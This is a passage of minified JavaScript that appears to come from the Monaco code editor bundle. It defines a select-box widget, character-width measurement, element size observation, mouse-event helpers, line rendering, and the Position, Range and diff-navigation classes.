0===s&&(s=u.clone(t.defaultStyles));var a=e.call(this)||this;return a.selectElement=document.createElement(\"select\"),a.selectElement.className=\"select-box\",a.setOptions(n,o),a.toDispose=[],a._onDidSelect=new i.Emitter,a.selectBackground=s.selectBackground,a.selectForeground=s.selectForeground,a.selectBorder=s.selectBorder,a.toDispose.push(r.addStandardDisposableListener(a.selectElement,\"change\",function(e){a.selectElement.title=e.target.value,a._onDidSelect.fire({index:e.target.selectedIndex,selected:e.target.value})})),a.toDispose.push(r.addStandardDisposableListener(a.selectElement,\"keydown\",function(e){(e.equals(10)||e.equals(3))&&e.stopPropagation()})),a}return f(o,e),Object.defineProperty(o.prototype,\"onDidSelect\",{get:function(){return this._onDidSelect.event},enumerable:!0,configurable:!0}),o.prototype.setOptions=function(e,t,n){var i=this;if(!this.options||!s.equals(this.options,e)){this.options=e,this.selectElement.options.length=0;var o=0;this.options.forEach(function(e){i.selectElement.add(i.createOption(e,n===o++))})}this.select(t)},o.prototype.select=function(e){e>=0&&e<this.options.length?this.selected=e:this.selected<0&&(this.selected=0),this.selectElement.selectedIndex=this.selected,this.selectElement.title=this.options[this.selected]},o.prototype.focus=function(){this.selectElement&&this.selectElement.focus()},o.prototype.blur=function(){this.selectElement&&this.selectElement.blur()},o.prototype.render=function(e){this.container=e,r.addClass(e,\"select-container\"),e.appendChild(this.selectElement),this.setOptions(this.options,this.selected),this.applyStyles()},o.prototype.style=function(e){this.selectBackground=e.selectBackground,this.selectForeground=e.selectForeground,this.selectBorder=e.selectBorder,this.applyStyles()},o.prototype.applyStyles=function(){if(this.selectElement){var e=this.selectBackground?this.selectBackground.toString():null,t=this.selectForeground?this.selectForeground.toString():null,n=this.selectBorder?this.selectBorder.toString():null;this.selectElement.style.backgroundColor=e,this.selectElement.style.color=t,this.selectElement.style.borderColor=n}},o.prototype.createOption=function(e,t){var n=document.createElement(\"option\");return n.value=e,n.text=e,n.disabled=t,n},o.prototype.dispose=function(){this.toDispose=n.dispose(this.toDispose),e.prototype.dispose.call(this)},o}(o.Widget);t.SelectBox=l}),define(d[260],h([5]),{}),define(d[261],h([5]),{}),define(d[270],h([5]),{}),define(d[274],h([5]),{}),define(d[277],h([5]),{}),define(d[278],h([5]),{}),define(d[279],h([5]),{}),define(d[280],h([5]),{}),define(d[283],h([5]),{}),define(d[286],h([5]),{}),define(d[288],h([5]),{}),define(d[291],h([5]),{}),define(d[294],h([5]),{}),define(d[296],h([5]),{}),define(d[299],h([5]),{}),define(d[300],h([5]),{}),define(d[306],h([5]),{}),define(d[307],h([5]),{}),define(d[308],h([5]),{}),define(d[309],h([5]),{}),define(d[310],h([5]),{}),define(d[312],h([5]),{}),define(d[313],h([5]),{}),define(d[314],h([5]),{}),define(d[315],h([5]),{}),define(d[316],h([5]),{}),define(d[325],h([5]),{}),define(d[327],h([5]),{}),define(d[328],h([5]),{}),define(d[171],h([5]),{}),define(d[335],h([5]),{}),define(d[366],h([5]),{}),define(d[388],h([5]),{}),define(d[389],h([5]),{}),define(d[390],h([5]),{}),define(d[391],h([5]),{}),define(d[392],h([5]),{}),define(d[393],h([5]),{}),define(d[394],h([5]),{}),define(d[395],h([5]),{}),define(d[396],h([5]),{}),define(d[399],h([5]),{}),define(d[400],h([5]),{}),define(d[402],h([5]),{}),define(d[403],h([5]),{}),define(d[404],h([5]),{}),define(d[405],h([5]),{}),define(d[408],h([5]),{}),define(d[409],h([5]),{}),define(d[410],h([1,0]),function(e,t){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});!function(e){e[e.Regular=0]=\"Regular\",e[e.Italic=1]=\"Italic\",e[e.Bold=2]=\"Bold\"}(t.CharWidthRequestType||(t.CharWidthRequestType={}));var n=function(){function e(e,t){this.chr=e,this.type=t,this.width=0}return e.prototype.fulfill=function(e){this.width=e},e}();t.CharWidthRequest=n;var i=function(){function e(e,t){this._bareFontInfo=e,this._requests=t,this._container=null,this._testElements=null}return e.prototype.read=function(){this._createDomElements(),document.body.appendChild(this._container),this._readFromDomElements(),document.body.removeChild(this._container),this._container=null,this._testElements=null},e.prototype._createDomElements=function(){var t=document.createElement(\"div\");t.style.position=\"absolute\",t.style.top=\"-50000px\",t.style.width=\"50000px\";var n=document.createElement(\"div\");n.style.fontFamily=this._bareFontInfo.fontFamily,n.style.fontWeight=this._bareFontInfo.fontWeight,n.style.fontSize=this._bareFontInfo.fontSize+\"px\",n.style.lineHeight=this._bareFontInfo.lineHeight+\"px\",n.style.letterSpacing=this._bareFontInfo.letterSpacing+\"px\",t.appendChild(n);var i=document.createElement(\"div\");i.style.fontFamily=this._bareFontInfo.fontFamily,i.style.fontWeight=\"bold\",i.style.fontSize=this._bareFontInfo.fontSize+\"px\",i.style.lineHeight=this._bareFontInfo.lineHeight+\"px\",i.style.letterSpacing=this._bareFontInfo.letterSpacing+\"px\",t.appendChild(i);var o=document.createElement(\"div\");o.style.fontFamily=this._bareFontInfo.fontFamily,o.style.fontWeight=this._bareFontInfo.fontWeight,o.style.fontSize=this._bareFontInfo.fontSize+\"px\",o.style.lineHeight=this._bareFontInfo.lineHeight+\"px\",o.style.letterSpacing=this._bareFontInfo.letterSpacing+\"px\",o.style.fontStyle=\"italic\",t.appendChild(o);for(var r=[],s=0,a=this._requests.length;s<a;s++){var u=this._requests[s],l=void 0;0===u.type&&(l=n),2===u.type&&(l=i),1===u.type&&(l=o),l.appendChild(document.createElement(\"br\"));var c=document.createElement(\"span\");e._render(c,u),l.appendChild(c),r[s]=c}this._container=t,this._testElements=r},e._render=function(e,t){if(\" \"===t.chr){for(var n=\"&nbsp;\",i=0;i<8;i++)n+=n;e.innerHTML=n}else{for(var o=t.chr,i=0;i<8;i++)o+=o;e.textContent=o}},e.prototype._readFromDomElements=function(){for(var e=0,t=this._requests.length;e<t;e++){var n=this._requests[e],i=this._testElements[e];n.fulfill(i.offsetWidth/256)}},e}();t.readCharWidths=function(e,t){new i(e,t).read()}}),define(d[412],h([1,0,3]),function(e,t,n){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var i=function(e){function t(t,n){var i=e.call(this)||this;return i.referenceDomElement=t,i.changeCallback=n,i.measureReferenceDomElementToken=-1,i.width=-1,i.height=-1,i.measureReferenceDomElement(!1),i}return f(t,e),t.prototype.dispose=function(){this.stopObserving(),e.prototype.dispose.call(this)},t.prototype.getWidth=function(){return this.width},t.prototype.getHeight=function(){return this.height},t.prototype.startObserving=function(){var e=this;-1===this.measureReferenceDomElementToken&&(this.measureReferenceDomElementToken=setInterval(function(){return e.measureReferenceDomElement(!0)},100))},t.prototype.stopObserving=function(){-1!==this.measureReferenceDomElementToken&&(clearInterval(this.measureReferenceDomElementToken),this.measureReferenceDomElementToken=-1)},t.prototype.observe=function(e){this.measureReferenceDomElement(!0,e)},t.prototype.measureReferenceDomElement=function(e,t){var n=0,i=0;t?(n=t.width,i=t.height):this.referenceDomElement&&(n=this.referenceDomElement.clientWidth,i=this.referenceDomElement.clientHeight),n=Math.max(5,n),i=Math.max(5,i),this.width===n&&this.height===i||(this.width=n,this.height=i,e&&this.changeCallback())},t}(n.Disposable);t.ElementSizeObserver=i}),define(d[25],h([1,0]),function(e,t){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});!function(e){e[e.EXACT=0]=\"EXACT\",e[e.ABOVE=1]=\"ABOVE\",e[e.BELOW=2]=\"BELOW\"}(t.ContentWidgetPositionPreference||(t.ContentWidgetPositionPreference={}));!function(e){e[e.TOP_RIGHT_CORNER=0]=\"TOP_RIGHT_CORNER\",e[e.BOTTOM_RIGHT_CORNER=1]=\"BOTTOM_RIGHT_CORNER\",e[e.TOP_CENTER=2]=\"TOP_CENTER\"}(t.OverlayWidgetPositionPreference||(t.OverlayWidgetPositionPreference={}));!function(e){e[e.UNKNOWN=0]=\"UNKNOWN\",e[e.TEXTAREA=1]=\"TEXTAREA\",e[e.GUTTER_GLYPH_MARGIN=2]=\"GUTTER_GLYPH_MARGIN\",e[e.GUTTER_LINE_NUMBERS=3]=\"GUTTER_LINE_NUMBERS\",e[e.GUTTER_LINE_DECORATIONS=4]=\"GUTTER_LINE_DECORATIONS\",e[e.GUTTER_VIEW_ZONE=5]=\"GUTTER_VIEW_ZONE\",e[e.CONTENT_TEXT=6]=\"CONTENT_TEXT\",e[e.CONTENT_EMPTY=7]=\"CONTENT_EMPTY\",e[e.CONTENT_VIEW_ZONE=8]=\"CONTENT_VIEW_ZONE\",e[e.CONTENT_WIDGET=9]=\"CONTENT_WIDGET\",e[e.OVERVIEW_RULER=10]=\"OVERVIEW_RULER\",e[e.SCROLLBAR=11]=\"SCROLLBAR\",e[e.OVERLAY_WIDGET=12]=\"OVERLAY_WIDGET\",e[e.OUTSIDE_EDITOR=13]=\"OUTSIDE_EDITOR\"}(t.MouseTargetType||(t.MouseTargetType={}))}),define(d[114],h([1,0,3,47,4,83]),function(e,t,n,i,o,r){\"use strict\";function s(e){var t=o.getDomNodePagePosition(e);return new l(t.left,t.top,t.width,t.height)}Object.defineProperty(t,\"__esModule\",{value:!0});var a=function(){function e(e,t){this.x=e,this.y=t}return e.prototype.toClientCoordinates=function(){return new u(this.x-o.StandardWindow.scrollX,this.y-o.StandardWindow.scrollY)},e}();t.PageCoordinates=a;var u=function(){function e(e,t){this.clientX=e,this.clientY=t}return e.prototype.toPageCoordinates=function(){return new a(this.clientX+o.StandardWindow.scrollX,this.clientY+o.StandardWindow.scrollY)},e}();t.ClientCoordinates=u;var l=function(){return function(e,t,n,i){this.x=e,this.y=t,this.width=n,this.height=i}}();t.EditorPagePosition=l,t.createEditorPagePosition=s;var c=function(e){function t(t,n){var i=e.call(this,t)||this;return i.pos=new a(i.posx,i.posy),i.editorPos=s(n),i}return f(t,e),t}(i.StandardMouseEvent);t.EditorMouseEvent=c;var d=function(){function e(e){this._editorViewDomNode=e}return e.prototype._create=function(e){return new c(e,this._editorViewDomNode)},e.prototype.onContextMenu=function(e,t){var n=this;return o.addDisposableListener(e,\"contextmenu\",function(e){t(n._create(e))})},e.prototype.onMouseUp=function(e,t){var n=this;return o.addDisposableListener(e,\"mouseup\",function(e){t(n._create(e))})},e.prototype.onMouseDown=function(e,t){var n=this;return o.addDisposableListener(e,\"mousedown\",function(e){t(n._create(e))})},e.prototype.onMouseLeave=function(e,t){var n=this;return o.addDisposableNonBubblingMouseOutListener(e,function(e){t(n._create(e))})},e.prototype.onMouseMoveThrottled=function(e,t,n,i){var r=this;return o.addDisposableThrottledListener(e,\"mousemove\",t,function(e,t){return n(e,r._create(t))},i)},e}();t.EditorMouseEventFactory=d;var h=function(e){function t(t){var n=e.call(this)||this;return n._editorViewDomNode=t,n._globalMouseMoveMonitor=n._register(new r.GlobalMouseMoveMonitor),n._keydownListener=null,n}return f(t,e),t.prototype.startMonitoring=function(e,t,n){var i=this;this._keydownListener=o.addStandardDisposableListener(document,\"keydown\",function(e){e.toKeybinding().isModifierKey()||i._globalMouseMoveMonitor.stopMonitoring(!0)},!0);this._globalMouseMoveMonitor.startMonitoring(function(t,n){return e(t,new c(n,i._editorViewDomNode))},t,function(){i._keydownListener.dispose(),n()})},t}(n.Disposable);t.GlobalEditorMouseMoveMonitor=h}),define(d[112],h([1,0,27]),function(e,t,n){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var i=function(){function e(e){this._createLine=e,this._set(1,[])}return e.prototype.flush=function(){this._set(1,[])},e.prototype._set=function(e,t){this._lines=t,this._rendLineNumberStart=e},e.prototype._get=function(){return{rendLineNumberStart:this._rendLineNumberStart,lines:this._lines}},e.prototype.getStartLineNumber=function(){return this._rendLineNumberStart},e.prototype.getEndLineNumber=function(){return this._rendLineNumberStart+this._lines.length-1},e.prototype.getCount=function(){return this._lines.length},e.prototype.getLine=function(e){var t=e-this._rendLineNumberStart;if(t<0||t>=this._lines.length)throw new Error(\"Illegal value for lineNumber: \"+e);return this._lines[t]},e.prototype.onLinesDeleted=function(e,t){if(0===this.getCount())return null;var n=this.getStartLineNumber(),i=this.getEndLineNumber();if(t<n){var o=t-e+1;return this._rendLineNumberStart-=o,null}if(e>i)return null;for(var r=0,s=0,a=n;a<=i;a++){var u=a-this._rendLineNumberStart;e<=a&&a<=t&&(0===s?(r=u,s=1):s++)}if(e<n){var l=0;l=t<n?t-e+1:n-e,this._rendLineNumberStart-=l}return this._lines.splice(r,s)},e.prototype.onLinesChanged=function(e,t){if(0===this.getCount())return!1;for(var n=this.getStartLineNumber(),i=this.getEndLineNumber(),o=!1,r=e;r<=t;r++)r>=n&&r<=i&&(this._lines[r-this._rendLineNumberStart].onContentChanged(),o=!0);return o},e.prototype.onLinesInserted=function(e,t){if(0===this.getCount())return null;var n=t-e+1,i=this.getStartLineNumber(),o=this.getEndLineNumber();if(e<=i)return this._rendLineNumberStart+=n,null;if(e>o)return null;if(n+e>o)return this._lines.splice(e-this._rendLineNumberStart,o-e+1);for(var r=[],s=0;s<n;s++)r[s]=this._createLine();var a=e-this._rendLineNumberStart,u=this._lines.slice(0,a),l=this._lines.slice(a,this._lines.length-n),c=this._lines.slice(this._lines.length-n,this._lines.length);return this._lines=u.concat(r).concat(l),c},e.prototype.onTokensChanged=function(e){if(0===this.getCount())return!1;for(var t=this.getStartLineNumber(),n=this.getEndLineNumber(),i=!1,o=0,r=e.length;o<r;o++){var s=e[o];if(!(s.toLineNumber<t||s.fromLineNumber>n))for(var a=Math.max(t,s.fromLineNumber),u=Math.min(n,s.toLineNumber),l=a;l<=u;l++){var c=l-this._rendLineNumberStart;this._lines[c].onTokensChanged(),i=!0}}return i},e}();t.RenderedLinesCollection=i;var o=function(){function e(e){var t=this;this._host=e,this.domNode=this._createDomNode(),this._linesCollection=new i(function(){return t._host.createVisibleLine()})}return e.prototype._createDomNode=function(){var e=n.createFastDomNode(document.createElement(\"div\"));return e.setClassName(\"view-layer\"),e.setPosition(\"absolute\"),e.domNode.setAttribute(\"role\",\"presentation\"),e.domNode.setAttribute(\"aria-hidden\",\"true\"),e},e.prototype.onConfigurationChanged=function(e){return e.layoutInfo},e.prototype.onFlushed=function(e){return this._linesCollection.flush(),!0},e.prototype.onLinesChanged=function(e){return this._linesCollection.onLinesChanged(e.fromLineNumber,e.toLineNumber)},e.prototype.onLinesDeleted=function(e){var t=this._linesCollection.onLinesDeleted(e.fromLineNumber,e.toLineNumber);if(t)for(var n=0,i=t.length;n<i;n++){var o=t[n].getDomNode();o&&this.domNode.domNode.removeChild(o)}return!0},e.prototype.onLinesInserted=function(e){var t=this._linesCollection.onLinesInserted(e.fromLineNumber,e.toLineNumber);if(t)for(var n=0,i=t.length;n<i;n++){var o=t[n].getDomNode();o&&this.domNode.domNode.removeChild(o)}return!0},e.prototype.onScrollChanged=function(e){return e.scrollTopChanged},e.prototype.onTokensChanged=function(e){return this._linesCollection.onTokensChanged(e.ranges)},e.prototype.onZonesChanged=function(e){return!0},e.prototype.getStartLineNumber=function(){return this._linesCollection.getStartLineNumber()},e.prototype.getEndLineNumber=function(){return this._linesCollection.getEndLineNumber()},e.prototype.getVisibleLine=function(e){return this._linesCollection.getLine(e)},e.prototype.renderLines=function(e){var t=this._linesCollection._get(),n=new r(this.domNode.domNode,this._host,e),i={rendLineNumberStart:t.rendLineNumberStart,lines:t.lines,linesLength:t.lines.length},o=n.render(i,e.startLineNumber,e.endLineNumber,e.relativeVerticalOffset);this._linesCollection._set(o.rendLineNumberStart,o.lines)},e}();t.VisibleLinesCollection=o;var r=function(){function e(e,t,n){this.domNode=e,this.host=t,this.viewportData=n}return e.prototype.render=function(e,t,n,i){var o={rendLineNumberStart:e.rendLineNumberStart,lines:e.lines.slice(0),linesLength:e.linesLength};if(o.rendLineNumberStart+o.linesLength-1<t||n<o.rendLineNumberStart){o.rendLineNumberStart=t,o.linesLength=n-t+1,o.lines=[];for(var r=t;r<=n;r++)o.lines[r-t]=this.host.createVisibleLine();return this._finishRendering(o,!0,i),o}if(this._renderUntouchedLines(o,Math.max(t-o.rendLineNumberStart,0),Math.min(n-o.rendLineNumberStart,o.linesLength-1),i,t),o.rendLineNumberStart>t?(s=t)<=(a=Math.min(n,o.rendLineNumberStart-1))&&(this._insertLinesBefore(o,s,a,i,t),o.linesLength+=a-s+1):o.rendLineNumberStart<t&&(u=Math.min(o.linesLength,t-o.rendLineNumberStart))>0&&(this._removeLinesBefore(o,u),o.linesLength-=u),o.rendLineNumberStart=t,o.rendLineNumberStart+o.linesLength-1<n)(s=o.rendLineNumberStart+o.linesLength)<=(a=n)&&(this._insertLinesAfter(o,s,a,i,t),o.linesLength+=a-s+1);else if(o.rendLineNumberStart+o.linesLength-1>n){var s=Math.max(0,n-o.rendLineNumberStart+1),a=o.linesLength-1,u=a-s+1;u>0&&(this._removeLinesAfter(o,u),o.linesLength-=u)}return this._finishRendering(o,!1,i),o},e.prototype._renderUntouchedLines=function(e,t,n,i,o){for(var r=e.rendLineNumberStart,s=e.lines,a=t;a<=n;a++){var u=r+a;s[a].layoutLine(u,i[u-o])}},e.prototype._insertLinesBefore=function(e,t,n,i,o){for(var r=[],s=0,a=t;a<=n;a++)r[s++]=this.host.createVisibleLine();e.lines=r.concat(e.lines)},e.prototype._removeLinesBefore=function(e,t){for(var n=0;n<t;n++){var i=e.lines[n].getDomNode();i&&this.domNode.removeChild(i)}e.lines.splice(0,t)},e.prototype._insertLinesAfter=function(e,t,n,i,o){for(var r=[],s=0,a=t;a<=n;a++)r[s++]=this.host.createVisibleLine();e.lines=e.lines.concat(r)},e.prototype._removeLinesAfter=function(e,t){for(var n=e.linesLength-t,i=0;i<t;i++){var o=e.lines[n+i].getDomNode();o&&this.domNode.removeChild(o)}e.lines.splice(n,t)},e.prototype._finishRenderingNewLines=function(e,t,n,i){var o=this.domNode.lastChild;t||!o?this.domNode.innerHTML=n.join(\"\"):o.insertAdjacentHTML(\"afterend\",n.join(\"\"));for(var r=this.domNode.lastChild,s=e.linesLength-1;s>=0;s--){var a=e.lines[s];i[s]&&(a.setDomNode(r),r=r.previousSibling)}},e.prototype._finishRenderingInvalidLines=function(e,t,n){var i=document.createElement(\"div\");i.innerHTML=t.join(\"\");for(var o=0;o<e.linesLength;o++){var r=e.lines[o];if(n[o]){var s=i.firstChild,a=r.getDomNode();a.parentNode.replaceChild(s,a),r.setDomNode(s)}}},e.prototype._finishRendering=function(e,t,n){for(var i=!1,o=[],r=[],s=!1,a=[],u=[],l=0,c=e.linesLength;l<c;l++){var d=e.lines[l],h=l+e.rendLineNumberStart;o[l]=!1,a[l]=!1;var p=d.renderLine(h,n[l],this.viewportData);null!==p&&(d.getDomNode()?(u.push(p),a[l]=!0,s=!0):(r.push(p),o[l]=!0,i=!0))}i&&this._finishRenderingNewLines(e,t,r,o),s&&this._finishRenderingInvalidLines(e,u,a)},e}()}),define(d[135],h([1,0,11]),function(e,t,n){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0}),t.EditorZoom=new(function(){function e(){this._zoomLevel=0,this._onDidChangeZoomLevel=new n.Emitter,this.onDidChangeZoomLevel=this._onDidChangeZoomLevel.event}return e.prototype.getZoomLevel=function(){return this._zoomLevel},e.prototype.setZoomLevel=function(e){e=Math.min(Math.max(-9,e),9),this._zoomLevel!==e&&(this._zoomLevel=e,this._onDidChangeZoomLevel.fire(this._zoomLevel))},e}())}),define(d[54],h([1,0]),function(e,t){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});!function(e){e[e.NotSet=0]=\"NotSet\",e[e.ContentFlush=1]=\"ContentFlush\",e[e.RecoverFromMarkers=2]=\"RecoverFromMarkers\",e[e.Explicit=3]=\"Explicit\",e[e.Paste=4]=\"Paste\",e[e.Undo=5]=\"Undo\",e[e.Redo=6]=\"Redo\"}(t.CursorChangeReason||(t.CursorChangeReason={}))}),define(d[131],h([1,0,9]),function(e,t,n){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});!function(e){e[e.Value=1]=\"Value\",e[e.Selection=2]=\"Selection\",e[e.Position=4]=\"Position\",e[e.Scroll=8]=\"Scroll\"}(t.CodeEditorStateFlag||(t.CodeEditorStateFlag={}));var i=function(){function e(e,t){if(this.flags=t,0!=(1&this.flags)){var i=e.getModel();this.modelVersionId=i?n.format(\"{0}#{1}\",i.uri.toString(),i.getVersionId()):null}0!=(4&this.flags)&&(this.position=e.getPosition()),0!=(2&this.flags)&&(this.selection=e.getSelection()),0!=(8&this.flags)&&(this.scrollLeft=e.getScrollLeft(),this.scrollTop=e.getScrollTop())}return e.prototype._equals=function(t){if(!(t instanceof e))return!1;var n=t;return this.modelVersionId===n.modelVersionId&&(this.scrollLeft===n.scrollLeft&&this.scrollTop===n.scrollTop&&(!(!this.position&&n.position||this.position&&!n.position||this.position&&n.position&&!this.position.equals(n.position))&&!(!this.selection&&n.selection||this.selection&&!n.selection||this.selection&&n.selection&&!this.selection.equalsRange(n.selection))))},e.prototype.validate=function(t){return this._equals(new e(t,this.flags))},e}();t.EditorState=i}),define(d[12],h([1,0]),function(e,t){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var n=function(){function e(e,t){this.lineNumber=e,this.column=t}return e.prototype.equals=function(t){return e.equals(this,t)},e.equals=function(e,t){return!e&&!t||!!e&&!!t&&e.lineNumber===t.lineNumber&&e.column===t.column},e.prototype.isBefore=function(t){return e.isBefore(this,t)},e.isBefore=function(e,t){return e.lineNumber<t.lineNumber||!(t.lineNumber<e.lineNumber)&&e.column<t.column},e.prototype.isBeforeOrEqual=function(t){return e.isBeforeOrEqual(this,t)},e.isBeforeOrEqual=function(e,t){return e.lineNumber<t.lineNumber||!(t.lineNumber<e.lineNumber)&&e.column<=t.column},e.compare=function(e,t){var n=0|e.lineNumber,i=0|t.lineNumber;return n===i?(0|e.column)-(0|t.column):n-i},e.prototype.clone=function(){return new e(this.lineNumber,this.column)},e.prototype.toString=function(){return\"(\"+this.lineNumber+\",\"+this.column+\")\"},e.lift=function(t){return new e(t.lineNumber,t.column)},e.isIPosition=function(e){return e&&\"number\"==typeof e.lineNumber&&\"number\"==typeof e.column},e}();t.Position=n}),define(d[2],h([1,0,12]),function(e,t,n){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var i=function(){function e(e,t,n,i){e>n||e===n&&t>i?(this.startLineNumber=n,this.startColumn=i,this.endLineNumber=e,this.endColumn=t):(this.startLineNumber=e,this.startColumn=t,this.endLineNumber=n,this.endColumn=i)}return e.prototype.isEmpty=function(){return e.isEmpty(this)},e.isEmpty=function(e){return e.startLineNumber===e.endLineNumber&&e.startColumn===e.endColumn},e.prototype.containsPosition=function(t){return e.containsPosition(this,t)},e.containsPosition=function(e,t){return!(t.lineNumber<e.startLineNumber||t.lineNumber>e.endLineNumber)&&(!(t.lineNumber===e.startLineNumber&&t.column<e.startColumn)&&!(t.lineNumber===e.endLineNumber&&t.column>e.endColumn))},e.prototype.containsRange=function(t){return e.containsRange(this,t)},e.containsRange=function(e,t){return!(t.startLineNumber<e.startLineNumber||t.endLineNumber<e.startLineNumber)&&(!(t.startLineNumber>e.endLineNumber||t.endLineNumber>e.endLineNumber)&&(!(t.startLineNumber===e.startLineNumber&&t.startColumn<e.startColumn)&&!(t.endLineNumber===e.endLineNumber&&t.endColumn>e.endColumn)))},e.prototype.plusRange=function(t){return e.plusRange(this,t)},e.plusRange=function(t,n){var i,o,r,s;return n.startLineNumber<t.startLineNumber?(i=n.startLineNumber,o=n.startColumn):n.startLineNumber===t.startLineNumber?(i=n.startLineNumber,o=Math.min(n.startColumn,t.startColumn)):(i=t.startLineNumber,o=t.startColumn),n.endLineNumber>t.endLineNumber?(r=n.endLineNumber,s=n.endColumn):n.endLineNumber===t.endLineNumber?(r=n.endLineNumber,s=Math.max(n.endColumn,t.endColumn)):(r=t.endLineNumber,s=t.endColumn),new e(i,o,r,s)},e.prototype.intersectRanges=function(t){return e.intersectRanges(this,t)},e.intersectRanges=function(t,n){var i=t.startLineNumber,o=t.startColumn,r=t.endLineNumber,s=t.endColumn,a=n.startLineNumber,u=n.startColumn,l=n.endLineNumber,c=n.endColumn;return i<a?(i=a,o=u):i===a&&(o=Math.max(o,u)),r>l?(r=l,s=c):r===l&&(s=Math.min(s,c)),i>r?null:i===r&&o>s?null:new e(i,o,r,s)},e.prototype.equalsRange=function(t){return e.equalsRange(this,t)},e.equalsRange=function(e,t){return!!e&&!!t&&e.startLineNumber===t.startLineNumber&&e.startColumn===t.startColumn&&e.endLineNumber===t.endLineNumber&&e.endColumn===t.endColumn},e.prototype.getEndPosition=function(){return new n.Position(this.endLineNumber,this.endColumn)},e.prototype.getStartPosition=function(){return new n.Position(this.startLineNumber,this.startColumn)},e.prototype.cloneRange=function(){return new e(this.startLineNumber,this.startColumn,this.endLineNumber,this.endColumn)},e.prototype.toString=function(){return\"[\"+this.startLineNumber+\",\"+this.startColumn+\" -> \"+this.endLineNumber+\",\"+this.endColumn+\"]\"},e.prototype.setEndPosition=function(t,n){return new e(this.startLineNumber,this.startColumn,t,n)},e.prototype.setStartPosition=function(t,n){return new e(t,n,this.endLineNumber,this.endColumn)},e.prototype.collapseToStart=function(){return e.collapseToStart(this)},e.collapseToStart=function(t){return new e(t.startLineNumber,t.startColumn,t.startLineNumber,t.startColumn)},e.fromPositions=function(t,n){return void 0===n&&(n=t),new e(t.lineNumber,t.column,n.lineNumber,n.column)},e.lift=function(t){return t?new e(t.startLineNumber,t.startColumn,t.endLineNumber,t.endColumn):null},e.isIRange=function(e){return e&&\"number\"==typeof e.startLineNumber&&\"number\"==typeof e.startColumn&&\"number\"==typeof e.endLineNumber&&\"number\"==typeof e.endColumn},e.areIntersectingOrTouching=function(e,t){return!(e.endLineNumber<t.startLineNumber||e.endLineNumber===t.startLineNumber&&e.endColumn<t.startColumn)&&!(t.endLineNumber<e.startLineNumber||t.endLineNumber===e.startLineNumber&&t.endColumn<e.startColumn)},e.compareRangesUsingStarts=function(e,t){var n=0|e.startLineNumber,i=0|t.startLineNumber;if(n===i){var o=0|e.startColumn,r=0|t.startColumn;if(o===r){var s=0|e.endLineNumber,a=0|t.endLineNumber;return s===a?(0|e.endColumn)-(0|t.endColumn):s-a}return o-r}return n-i},e.compareRangesUsingEnds=function(e,t){return e.endLineNumber===t.endLineNumber?e.endColumn===t.endColumn?e.startLineNumber===t.startLineNumber?e.startColumn-t.startColumn:e.startLineNumber-t.startLineNumber:e.endColumn-t.endColumn:e.endLineNumber-t.endLineNumber},e.spansMultipleLines=function(e){return e.endLineNumber>e.startLineNumber},e}();t.Range=i}),define(d[164],h([1,0,72,38,26,2,3]),function(e,t,n,i,o,r,s){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var a={followsCaret:!0,ignoreCharChanges:!0,alwaysRevealFirst:!0},u=function(e){function t(n,i){void 0===i&&(i={});var r=e.call(this,[t.Events.UPDATED])||this;return r.editor=n,r.options=o.mixin(i,a,!1),r.disposed=!1,r.toUnbind=[],r.nextIdx=-1,r.ranges=[],r.ignoreSelectionChange=!1,r.revealFirst=r.options.alwaysRevealFirst,r.toUnbind.push(r.editor.onDidDispose(function(){return r.dispose()})),r.toUnbind.push(r.editor.onDidUpdateDiff(function(){return r.onDiffUpdated()})),r.options.followsCaret&&r.toUnbind.push(r.editor.getModifiedEditor().onDidChangeCursorPosition(function(e){r.ignoreSelectionChange||(r.nextIdx=-1)})),r.options.alwaysRevealFirst&&r.toUnbind.push(r.editor.getModifiedEditor().onDidChangeModel(function(e){r.revealFirst=!0})),r.init(),r}return f(t,e),t.prototype.init=function(){this.editor.getLineChanges()},t.prototype.onDiffUpdated=function(){this.init(),this.compute(this.editor.getLineChanges()),this.revealFirst&&null!==this.editor.getLineChanges()&&(this.revealFirst=!1,this.nextIdx=-1,this.next())},t.prototype.compute=function(e){var n=this;this.ranges=[],e&&e.forEach(function(e){!n.options.ignoreCharChanges&&e.charChanges?e.charChanges.forEach(function(e){n.ranges.push({rhs:!0,range:new r.Range(e.modifiedStartLineNumber,e.modifiedStartColumn,e.modifiedEndLineNumber,e.modifiedEndColumn)})}):n.ranges.push({rhs:!0,range:new r.Range(e.modifiedStartLineNumber,1,e.modifiedStartLineNumber,1)})}),this.ranges.sort(function(e,t){return e.range.getStartPosition().isBeforeOrEqual(t.range.getStartPosition())?-1:t.range.getStartPosition().isBeforeOrEqual(e.range.getStartPosition())?1:0}),this.emit(t.Events.UPDATED,{})},t.prototype.initIdx=function(e){for(var t=!1,n=this.editor.getPosition(),i=0,o=this.ranges.length;i<o&&!t;i++){var r=this.ranges[i].range;n.isBeforeOrEqual(r.getStartPosition())&&(this.nextIdx=i+(e?0:-1),t=!0)}t||(this.nextIdx=e?0:this.ranges.length-1),this.nextIdx<0&&(this.nextIdx=this.ranges.length-1)},t.prototype.move=function(e){if(n.ok(!this.disposed,\"Illegal State - diff navigator has been disposed\"),this.canNavigate()){-1===this.nextIdx?this.initIdx(e):e?(this.nextIdx+=1,this.nextIdx>=this.ranges.length&&(this.nextIdx=0)):(this.nextIdx-=1,this.nextIdx<0&&(this.nextIdx=this.ranges.length-1));var t=this.ranges[this.nextIdx];this.ignoreSelectionChange=!0;try{var i=t.range.getStartPosition();this.editor.setPosition(i),this.editor.revealPositionInCenter(i)}finally{this.ignoreSelectionChange=!1}}},t.prototype.canNavigate=function(){return this.ranges&&this.ranges.length>0},t.prototype.next=function(){this.move(!0)},t.prototype.previous=function(){this.move(!1)},t.prototype.dispose=function(){this.toUnbind=s.dispose(this.toUnbind),this.ranges=null,this.disposed=!0,e.prototype.dispose.call(this)},t.Events={UPDATED:\"navigation.updated\"},t}(i.EventEmitter);t.DiffNavigator=u}),define(d[59],h([1,0,2]),function(e,t,n){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var i=function(){function e(){}return 